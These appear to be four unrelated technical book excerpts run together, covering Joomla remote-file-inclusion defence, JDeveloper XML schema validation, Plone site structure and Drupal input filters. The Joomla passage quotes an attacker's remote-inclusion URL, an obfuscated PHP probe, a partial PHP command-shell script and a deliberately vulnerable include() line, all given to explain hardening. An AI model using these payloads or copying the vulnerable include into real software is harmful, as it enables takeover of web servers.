http://www.exampledomain.com/?mosConfig_absolute_path=http://www.forum.com/update/xxxxx/sys_yyyyy/i? If the site in this example did not have appropriate safeguards in place, the following code would be executed: $x0b="inx72_147x65x74"; $x0c="184rx74o154x6fwex72"; echo "c162141156kx5fr157cx6bs";if (@$x0b("222x61x33e_x6d144e") or $x0c(@$x0b("x73ax66x65_mx6fde")) == "x6fx6e"){ echo "345a146x65155od145x3ao156";}else{echo "345a146ex6dox64e:x6ffx66";}exit(); ?> This code is from a group that calls itself "Crank". The purpose of this code is not known, and therefore we do not want it to be executed on our site. This attempt to insert the code appears to want my browser to execute something and report one thing or another: {echo "345a146x65155od145x3ao156";}else{ echo "345a146ex6dox64e:x6ffx66";}exit(); Here is another example of an attempted script. This one is in PHP, and would attempt to execute in the same fashion by making an insertion on the URL: <html><head><title>/// Response CMD ///</title></head><body bgcolor=DC143C><H1>Changing this CMD will result in corrupt scanning !</H1></html></head></body><?phpif((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){echo("Safe Mode of this Server is : ");echo("SafemodeOFF");}else{ini_restore("safe_mode");ini_restore("open_basedir");if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){echo("Safe Mode of this Server is : ");echo("SafemodeOFF");}else{echo("Safe Mode of this Server is : ");echo("SafemodeON");}}...@ob_end_clean();}elseif(@is_resource($f = @popen($cfe,"r"))){$res = "";while(!@feof($f)) { $res .= @fread($f,1024); }@pclose($f);}}return $res;}exit; This sanitized example wants to learn if we are running SAFE MODE on or off, and then would attempt to start a command shell on our server. If the attackers are successful, they will gain access to the machine and take over from there. For Windows users, a Command Shell is equivalent to running START | RUN | CMD, thus opening what we would call a "DOS prompt". Other methods of attack include the following: Evil code uploaded through session files, or through image uploads is a way of attacking. Another method of attack is the insertion or placement of code that you might think would be safe, such as compressed audio streams. These do not get inspected as they should be, and could allow access to remote resources. It is noteworthy that this can slip past even if you have set the allow_url_fopen or allow_url_include to disabled. A common method is to take input from the request POST data versus a data file. There are several other methods beyond this list. And just judging from the traffic at my sites, the list and methods change on an "irregular" basis. This highlights our need for robust security architecture, and to be very careful in accepting the user input on our websites. The Most Basic Attempt You don't always need a heavy or fancy code as in the earlier examples. Just appending a page request of sorts to the end of our URL will do it. Remember this? /?mosConfig_absolute_path=http://www.forum.com/update/xxxxx/sys_yyyyy/i? Here we're instructing the server to force our path to change in our environment to match the code located out there. Here is such a "shell": <?php$file =$_GET['evil-page'];include($file .".php");?> What Can We Do to Stop This? As stated repeatedly, in-depth defense is the most important of design considerations. Putting up many layers of defense will enable you to withstand the attacks. This type of attack can be defended against at the .htaccess level and by filtering the inputs. One problem is that we tend to forget that many defaults in PHP set up a condition for failure. Take this for instance: allow_url_fopen is on by default. "Default? Why do you care?" you may ask. This, if enabled, allows the PHP file functions such as file_get_contents(), and the ever present include and require statements to work in a manner you may not have anticipated, such as retrieving the entire contents of your website, or allowing a determined attacker to break in. Since programmers sometimes forget to do proper input filtering in their user fields, such as an input box that allows any type of data to be inputted, or code to be inserted for an injection attack. Lots of site break-ins, defacements, and worse are the result of a combination of poor programming on the coder's part, and not disabling the allow_url_fopen option. This leads to code injections as in our previous examples. Make sure you keep the Global Registers OFF. This is a biggie that will prevent much evil! There are a few ways to do this and depending on your version of Joomla!, they are handled differently. In Joomla! versions less than 1.0.13, look for this code in the globals.php // no direct accessdefined( '_VALID_MOS' ) or die( 'Restricted access' );/* * Use 1 to emulate register_globals = on * WARNING: SETTING TO 1 MAY BE REQUIRED FOR BACKWARD COMPATIBILITY * OF SOME THIRD-PARTY COMPONENTS BUT IS NOT RECOMMENDED * * Use 0 to emulate register_globals = off * NOTE: THIS IS THE RECOMMENDED SETTING FOR YOUR SITE BUT YOU MAY * EXPERIENCE PROBLEMS WITH SOME THIRD-PARTY COMPONENTS */define( 'RG_EMULATION', 0 ); Make sure the RG_EMULATION has a ZERO (0) instead of one (1). When it's installed out of the box, it is 1, meaning register_globals is set to on. In Joomla! 1.0.13 and greater (in the 1.x series), look for this field in the GLOBAL CONFIGURATION BUTTON | SERVER tab: Have you upgraded from an earlier version of Joomla!?Affects: Joomla! 1.0.13—1.0.14

JDeveloper built-in schema validation Oracle JDeveloper 11g has built-in support for XML schema validation. If an XML document includes a reference to an XML schema, the XML document may be validated with the XML schema using the built-in feature. An XML schema may be specified in an XML document using the xsi:noNamespaceSchemaLocation attribute or the xsi:namespaceSchemaLocation attribute. Before we discuss when to use which attribute, we need to define the target namespace. A schema is a collection of type definitions and element declarations whose names belong to a particular namespace called a target namespace. Thus, a target namespace distinguishes between type definitions and element declarations from different collections. An XML schema doesn't need to have a target namespace. If the XML schema has a target namespace, specify the schema's location in an XML document using the xsi:namespaceSchemaLocation attribute. If the XML schema does not have a target namespace, specify the schema location using the xsi:noNamespaceSchemaLocation attribute. The xsi:noNamespaceSchemaLocation and xsi:namespaceSchemaLocation attributes are a hint to the processor about the location of an XML schema document. The example XML schema document that we shall create is catalog.xsd and is listed here: <?xml version="1.0" encoding="utf-8"?><xsd:schema > <xsd:element name="catalog"type="catalogType"/> <xsd:complexType name="catalogType"> <xsd:sequence> <xsd:element ref="journal" minOccurs="0"maxOccurs="unbounded"/> </xsd:sequence> </xsd:complexType> <xsd:element name="journal" type="journalType"/> <xsd:complexType name="journalType"> <xsd:sequence> <xsd:element ref="article" minOccurs="0" maxOccurs="unbounded"/> </xsd:sequence> <xsd:attribute name="title" type="xsd:string"/> <xsd:attribute name="publisher" type="xsd:string"/> <xsd:attribute name="edition" type="xsd:string"/> </xsd:complexType> <xsd:element name="article" type="articleType"/> <xsd:complexType name="articleType"> <xsd:sequence> <xsd:element name="title" type="xsd:string"/> <xsd:element name="author" type="xsd:string"/> </xsd:sequence> <xsd:attribute name="section" type="xsd:string"/> </xsd:complexType></xsd:schema> The XML document instance that we shall generate from the schema is catalog.xml and is listed as follows: <?xml version="1.0" encoding="utf-8"?><catalog><journal title="Oracle Magazine" publisher="OraclePublishing" edition="September-October 2008"> <article section="Features"> <title>Share 2.0</title> <author>Alan Joch</author> </article></journal><journal title="Oracle Magazine" publisher="OraclePublishing" edition="March-April 2008"> <article section="Oracle Developer"> <title>Declarative Data Filtering</title> <author>Steve Muench</author> </article></journal></catalog> Specify the XML schema location in the XML document using the following attribute declaration: xsi:noNamespaceSchemaLocation="catalog.xsd" The XML schema may be in any directory. The example XML document does not include any namespace elements. Therefore, the schema is specified with the xsi:noNamespaceSchemaLocation attribute in the root element catalog. The XML schema may be specified with a relative URL, or a file, or an HTTP URL. The xsi:noNamespaceSchemaLocation attribute we added specifies the relative path to the XML schema document catalog.xsd. To validate the XML document with the XML schema, right-click on the XML document and select Validate XML . The XML document gets validated with the XML schema and the output indicates that the XML document does not have any validation errors. To demonstrate validation errors, add a non-valid element to the XML document. As an example, add the following element to the catalog element after the first journal element: <article></article> To validate the modified XML document, right-click on the XML document and select Validate XML. The output indicates validation errors. All the elements after the non-valid element become non-valid. For example, the journal element is valid as a subelement of the catalog element, but because the second journal element is after the non-valid article element, the journal element also becomes non-valid as indicated in the validation output. XDK 11g also provides a schema validation-specific API known as XSDValidator to validate an XML document with an XML schema. The choice of validation method depends on the additional functionality required in the validation application. XSDValidator is suitable for validation if all that is required is schema validation. Setting the environment Create an application (SchemaValidation, for example) and a project (SchemaValidation, for example) in JDeveloper. To create an application and a project select File | New. In the New Gallery window, select Categories | General and Items | Generic Application. Click on OK. In the Create Generic Application window, specify an Application Name and click on Next. In the Name your Generic project window, specify a Project Name and click on Finish. An application and a project get created. Next, add some XDK 11g JAR files to the project classpath. Select the project node in Application Navigator, and select Tools | Project Properties. In the Project Properties window, select Libraries and Classpath. Click on the Add Library button to add a library. In the Add Library window, select the Oracle XML Parser v2 library and click on the OK button. The Oracle XML Parser v2 library gets added to the project Libraries. Select the Add JAR/Directory button to add JAR file xml.jar from the C:OracleMiddlewarejdevelopermodulesoracle.xdk_11.1.1 directory. First, create an XML document and an XML schema in JDeveloper. To create an XML document, select File | New. In the New Gallery window select Categories | General | XML. In the Items listed select XML Document, and click on the OK button. In the Create XML File wizard, specify the XML file name, catalog.xml, and click on the OK button. An XML document gets added to the SchemaValidation project in Application Navigator. To add an XML schema, select File | New, and General | XML in the New Gallery window. Select XML schema in the Items listed. Click on the OK button. An XML schema document gets added to SchemaValidation project. The example XML document, catalog.xml, consists of a journal catalog. Copy the XML document to the catalog.xml file in the JDeveloper project. The example XML document does not specify the location of the XML schema document to which the XML document must conform to, because we will be setting the XML schema document in the schema validation application. If the XML schema document is specified in the XML document and the schema validation application, the schema document set in the schema validation application is used. Next, copy the example XML schema document, catalog.xsd to catalog.xsd in the JDeveloper project Schema Validation. Each XML schema is required to be in the XML schema namespace http://www.w3.org/2001/XMLSchema. The XML schema namespace is specified with a namespace declaration in the root element, schema, of the XML schema. A namespace declaration is of the format > Next, we will create Java classes for schema validation. Select File | New and subsequently Categories | General and Items | Java Class in the New Gallery window to create a Java class for schema validation. Click on the OK button. In the Create Java Class window specify a Class Name, XMLSchemaValidator, and a package name, schemavalidation, and click on the OK button. A Java class gets added to the SchemaValidation project. Similarly, add Java classes, DOMValidator and SAXValidator. The schema validation applications are shown in the Application Navigator.

(For more resources on Plone, see here.) Real world information architecture tips Based on what your users need and/or want to see, you need to structure your content within topics, or high-level containers that are typically content-specific sections. As an example, we will take a look at http://plone.org. When visitors enter a Plone site, no matter how deep they go, the navigation tends to stay the same. The following screenshot shows that a visitor is in the Documentation section of the site, with the opportunity to drill down within this section for additional documentation topics: By default, Plone has a portlet that shows the navigation aids on the left-hand side of the browser, which helps the visitors navigate within the subject matter. In this example, there are several subsections below Development. Structuring your content When planning your site, you must first decide how you want to structure your content. The structuring can be worked out through brainstorming sessions with other people involved with your site, in order to come up with a structure suits your business objectives. Investigating other sites that share your organization's model could be a good starting point towards developing your final solution. To really understand how Plone can be an effective solution for your content delivery needs, we will take a look at how to implement Plone for a High School web site. In this type of structure, you will see how some content is targeted at all users, while other content is tailored to specific users. We will use the following high-level topics for demonstration purposes: Home News Events Academics Sports Clubs PTO (Parent-Teacher Organization) Alumni In order to create these sections, we will first create folders for the above sections, into which you will add content. Each of the above sections will be visible in your top-level navigation. Within each top-level folder, we will also create subfolders to help you to structure your content. To create a folder, go to your homepage, select Add new... and choose the Folder option from the drop-down list, as shown in the following screenshot: Specify the Title and the optional Description. In this case, we will create a folder for the Academics section: We're going to just keep the defaults here; we will cover the Settings tab shortly. Click on Save, and then make sure that your folder has been published: Now take a look at the overall navigation structure: There is now a new tab in your navigation bar, which represents a container for holding all of the content that will be part of the academics section of the site. You will follow the same process to create the rest of the top-level tabs. First, we will need to make a change to the default tab behavior in Plone. Specifically, we want to remove Users as a top-level navigation item. Removing it from the tab navigation does not mean that it no longer exists; we're just making sure that items that are more important to this specific site are shown to the visitors and users. To remove Users from the navigation bar, click on the Users tab, and then select Edit. Once you are in Edit mode, there is the section where you can select Settings. You can then select the Exclude from navigation checkbox. After saving your changes, you can see that the tab Users is no longer part of your navigation: Using the same process for adding new folders, we'll add Sports, Clubs and PTO. We end up with the following: Now that we have the top-level structure in place, we can focus on what will need to go within each topic. The process is similar, with the difference being that you need to be within the given topic before creating the next level of folders. When you create folders in the Home section, you have the ability to create top-level tabs. Creating folders within the other top-level folders you create allows you to be more specific for the given topic. We will use the example of the Sports top-level tab for creating an additional folder/site structure. We will need to create the following sub-folders: Football Basketball Soccer Track and Field Lacrosse Baseball Softball To do so, we must drill down into the Sports folder and add new folders within it. Once you have added these folders under the Sports section, the Navigation to the new folders is available in the leftmost side of your browser window: Note that the navigation shows only the contents of the current folder. This can be adjusted via the Manage portlets link, which is available on the home page, below the left and right columns. This link is also accessible via http://www.mysite.com/@@manage-portlets, where www.mysite.com is the name of your Plone site. Simply set the Start Level to 0 and save your changes. Now that the structure for the Sports folder is in place, let's take a look at how you can change the order of display of the folders. If the football season is over, it may make sense to move this category to the bottom of the navigation. To change the order of the Football folder, go to the Contents view under Sports, then click in the Order column for the Football row. The row will turn yellow, and the cursor will change to a four-headed arrow, which indicates that the content object can be moved. Drag the row up or down in the list, to the desired location. Now, when you click on the top level of Sports, the navigation listing appears in the new location that you have just defined: Now, let's take the new folder structure created under the Sports section, and create some more folders that are specific to each sub topic. Select a folder, and then go to the Contents tabbed page. In this example, we will create the following folders under the Soccer folder, which is under the Sports folder: Varsity Boys Girls Junior Varsity Boys Girls Boosters As identified in the preceding screenshot, the breadcrumbs navigation shows the progression through the site. You can also see how the navigation within the Sports section can grow to fit specific content. By understanding these concepts that apply creating folders for your navigation structure, you will be well on your way to having consistent navigation throughout your site.

Input Formats and Filters It is necessary to stipulate the type of content we will be posting, in any given post. This is done through the use of the Input format setting that is displayed when posting content to the site—assuming the user in question has sufficient permissions to post different types of content. In order to control what is and is not allowed, head on over to the Input formats link under Site configuration. This will bring up a list of the currently defined input formats, like this: At the moment, you might be wondering why we need to go to all this trouble to decide whether people can add certain HTML tags to their content. The answer to this is that because both HTML and PHP are so powerful, it is not hard to subvert even fairly simple abilities for malicious purposes. For example, you might decide to allow users the ability to link to their homepages from their blogs. Using the ability to add a hyperlink to their postings, a malicious user could create a Trojan, virus or some other harmful content, and link to it from an innocuous and friendly looking piece of HTML like this: <p>Hi Friends! My <a href="link_to_trojan.exe">homepage</a> is a great place to meet and learn about my interests and hobbies. </p> This snippet writes out a short paragraph with a link, supposedly to the author's homepage. In reality, the hyperlink reference attribute points to a trojan, link_to_trojan.exe. That's just HTML! PHP can do a lot more damage—to the extent that if you don't have proper security or disaster-recovery policies in place, then it is possible that your site can be rendered useless or destroyed entirely. Security is the main reason why, as you may have noticed from the previous screenshot, anything other than Filtered HTML is unavailable for use by anyone except the administrator. By default, PHP is not even present, let alone disabled. When thinking about what permissions to allow, it is important to re-iterate the tenet: Never allow users more permissions than they require to complete their intended tasks! As they stand, you might not find the input formats to your liking, and so Drupal provides some functionality to modify them. Click on the configure link adjacent to the Filtered HTML option, and this will bring up the following page: The Edit tab provides the option to alter the Name property of the input format; the Roles section in this case cannot be changed, but as you will see when we come around to creating our own input format, roles can be assigned however you wish to allow certain users to make use of an input format, or not. The final section provides a checklist of the types of Filters to apply when using this input format. In this previous screenshot, all have been selected, and this causes the input format to apply the: HTML corrector – corrects any broken HTML within postings to prevent undesirable results in the rest of your page. HTML filter – determines whether or not to strip or remove unwanted HTML. Line break converter – Turns standard typed line breaks (i.e. whenever a poster clicks Enter) into standard HTML. URL filter – allows recognized links and email addresses to be clickable without having to write the HTML tags, manually. The line break converter is particularly useful for users because it means that they do not have to explicitly enter <br> or <p> HTML tags in order to display new lines or paragraph breaks—this can get tedious by the time you are writing your 400th blog entry. If this is disabled, unless the user has the ability to add the relevant HTML tags, the content may end up looking like this: Click on the Configure tab, at the top of the page, in order to begin working with the HTML filter. You should be presented with something like this: The URL filter option is really there to help protect the formatting and layout of your site. It is possible to have quite long URLs these days, and because URLs do not contain spaces, there is nowhere to naturally split them up. As a result, a browser might do some strange things to cater for the long string and whatever it is; this will make your site look odd. Decide how many characters the longest string should be and enter that number in the space provided. Remember that some content may appear in the sidebars, so you can't let it get too long if they is supposed to be a fixed width. The HTML filter section lets you specify whether to Strip disallowed tags, or escape them (Escape all tags causes any tags that are present in the post to be displayed as written). Remember that if all the tags are stripped from the content, you should enable the Line break converter so that users can at least paragraph their content properly. Which tags are to be stripped is decided in the Allowed HTML tags section, where a list of all the tags that are to be allowed can be entered—anything else gets handled appropriately. Selecting Display HTML help forces Drupal to provide HTML help for users posting content—try enabling and disabling this option and browsing to this relative URL in each case to see the difference: filter/tips. There is quite a bit of helpful information on HTML in the long filter tips; so take a moment to read over those. The filter tips can be reached whenever a user expands the Input format section of the content post and clicks on More information about formatting options at the bottom of that section. Finally, the Spam link deterrent is a useful tool if the site is being used to bombard members with links to unsanctioned (and often unsavory) products. Spammers will use anonymous accounts to post junk (assuming anonymous users are allowed to post content) and enabling this for anonymous posts is an effective way of breaking them. This is not the end of the story, because we also need to be able to create input formats in the event we require something that the default options can't cater for. For our example, there are several ways in which this can be done, but there are three main criteria that need to be satisfied before we can consider creating the page. We need to be able to: Upload image files and attach them to the post. Insert and display the image files within the body of the post. Use PHP in order to dynamically generate some of the content (this option is really only necessary to demonstrate how to embed PHP in a posting for future reference). There are several methods for displaying image files within posts. The one we will discuss here, does not require us to download and install any contribution modules, such as Img_assist. Instead, we will use HTML directly to achieve this, specifically, we use the <img> tag. Take a look at the previous screenshot that shows the configure page of the Filtered HTML input format. Notice that the <img> tag is not available for use. Let's create our own input format to cater for this, instead of modifying this default format. Before we do, first enable the PHP Filter module under Modules in Site building so that it can easily be used when the time comes. With that change saved, you will find that there is now an extra option to the Filters section of each input format configuration page: It's not a good idea to enable the PHP evaluator for either of the default options, but adding it to one of our own input formats will be ok to play with. Head on back to the main input formats page under Site configuration (notice that there is an additional input format available, called PHP code) and click on Add input format. This will bring up the same configuration type page we looked at earlier. It is easy to implement whatever new settings you want, based on how the input format is to be used. For our example, we need the ability to post images and make use of PHP scripts, so make the new input format as follows: As we will need to make use of some PHP code a bit later on, we have enabled the PHP evaluator option, as well as prevented the use of this format for anyone but ourselves—normally, you would create a format for a group of users who require the modified posting abilities, but in this case, we are simply demonstrating how to create a new input format; so this is fine for now. PHP should not be enabled for anyone other than yourself, or a highly trusted administrator who needs it to complete his or her work. Click Save configuration to add this new format to the list, and then click on the Configure tab to work on the HTML filter. The only change required between this input format and the default Filtered HTML, in terms of HTML, is the addition of the <img> and <div> tags, separated by a space in the Allowed HTML tags list, as follows: As things stand at the moment, you may run into problems with adding PHP code to any content postings. This is because some filters affect the function of others, and to be on the safe side, click on the Rearrange tab and set the PHP evaluator to execute first: Since the PHP evaluator's weight is the lowest, it is treated first, with all the others following suit. It's a safe bet that if you are getting unexpected results when using a certain type of filter, you need to come to this page and change the settings. We'll see a bit more about this, in a moment. Now, the PHP evaluator gets dibs on the content and can properly process any PHP. For the purposes of adding images and PHP to posts (as the primary user), this is all that is needed for now. Once satisfied with the settings save the changes. Before building the new page, it is probably most useful to have a short discourse on HTML, because it is a requirement if you are to attempt more complex postings.